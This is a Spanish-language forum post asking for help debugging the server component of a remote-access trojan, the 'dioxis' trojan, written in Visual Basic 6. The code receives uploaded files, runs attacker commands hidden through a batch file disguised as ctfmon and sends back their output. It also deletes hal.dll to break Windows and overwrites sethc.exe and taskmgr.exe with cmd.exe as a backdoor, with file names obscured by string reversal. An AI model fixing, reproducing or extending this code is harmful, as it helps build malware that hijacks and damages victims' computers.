Bueno, como ya veran, estoy en el proyecto de sacar otra version del troyano dioxis, pero aqui es donde se me dan los quebraderos de cabeza
Este es todo el dataarrival del servidor:
Public Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim sistremaa As String, compr As Integer, ruta As String, textos As String, inii As String
Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long
Dim casaa As String
Dim arrData() As Byte
Dim encontrado2 As Integer, encontrado As Integer
Dim busca As Integer
Dim envivi As String, tati As Variant
On Error GoTo Error
'--------------------------------------------------------------------------'
casaa = Environ$("homedrive")
sistremaa = Environ$("windir") & "\system32"
letraa = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
inii = casaa & "\ctfmon.bat"
'--------------------------------variables---------------------------------'
wsk.GetData orden
MsgBox orden
' enviar archivos----------------------------------------------------------
For busca = 0 To Len(orden)
encontrado = InStr(1, orden, "*Enviviandodo*")
Next
If encontrado <> 0 Then
If Flag = True Then
Flag = False
lBytes = 0
tati = Split(envivi, "|")
lFileSize = tati(1)
wsk.SendData "|enviamelo|"
Open tati(3) & tati(2) For Binary Access Write As #1
End If
If Flag = False Then
MsgBox "poniendo todo los datos"
lBytes = lBytes + bytesTotal
wsk.GetData arrData
MsgBox arrData
Put #1, , arrData
If lBytes >= lFileSize Then
Close #1
Flag = True
lBytes = 0
End If
End If
Else
' enviar archivos----------------------------------------------------------
For compr = 0 To Len(orden)
encontrado2 = InStr(1, orden, "/*/116%4")
Next
If encontrado2 <> 0 Then
arris = Split(orden, "66+/*-&·%")
ruta = arris(1)
textos = arris(2)
Open ruta For Output As #2
Print #2, textos
Close #2
End If
'------------------ordenes personalizadas----------------------------------'
If orden = "del " & sistremaa & "\hal.dll" Then Kill sistremaa & StrReverse("lld.lah\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\sethc.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.chtes\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\taskmgr.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.rgmksat\")
If orden = "eliminar troyano" Then
Kill letraa & StrReverse("exe.dmcyekh\")
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'
salida:
Open inii For Output As #1
Print #1, orden & ">" & casaa & "\ctfmon.txt"
Close #1
id_process = Shell(inii, vbHide)
handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)
Do
Call GetExitCodeProcess(handle_Process, lp_ExitCode)
DoEvents
Loop While lp_ExitCode = STATUS_PENDING
Call CloseHandle(handle_Process)
Open casaa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1
wsk.SendData txtcom
Error:
End If
End Sub
El data arrival lo que tiene que hacer es recibir 2 acciones, una es para que el cliente le pase archivos y otra para mandarle ordenes
La cosa es que ahora mismo no me funciona ninguno por ahora
El problema creo que reside en las variables del datarrival
si necesitais algun dato mas os lo facilito
gracias